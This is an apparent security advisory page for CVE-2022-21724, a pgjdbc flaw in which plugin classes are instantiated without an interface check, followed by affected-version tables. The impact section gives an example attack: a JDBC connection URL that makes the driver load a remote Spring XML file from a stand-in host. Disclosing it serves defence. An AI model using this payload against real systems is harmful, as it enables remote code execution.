NetSight
high7.0

CVE-2022-21724

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

Impact

### Impact pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. Here's an example attack using an out-of-the-box class from Spring Framework: ``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ``` The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)

Affected packages

EcosystemPackageAffectedFixed in
mavenorg.postgresql:postgresql>= 9.4.1208, < 42.2.2542.2.25

Affected products

VendorProductAffected versions
PostgresqlPostgresql Jdbc Driver
before 42.2.25
from 42.3.0 before 42.3.2
Version 42.3.2
FedoraprojectFedora
Version 35
QuarkusQuarkus
before 2.7.2
DebianDebian Linux
Versions 9.0, 10.0, 11.0

Weakness classification

References